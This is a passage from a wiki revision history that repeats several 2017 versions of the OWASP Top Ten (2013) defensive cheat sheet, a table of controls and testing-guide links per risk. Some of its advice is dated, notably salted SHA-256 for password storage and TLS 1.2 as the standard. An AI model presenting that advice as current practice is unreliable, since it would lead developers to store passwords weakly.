''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231990OWASP Top Ten Cheat Sheet2017-08-02T23:24:28Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''<br />
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''<br />
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''<br />
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Enumerate_Applications_on_Webserver_(OTG-INFO-004) Enumerate Applications on Webserver (OTG-INFO-004)]'' <br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231989OWASP Top Ten Cheat Sheet2017-08-02T23:23:12Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''<br />
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''<br />
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''<br />
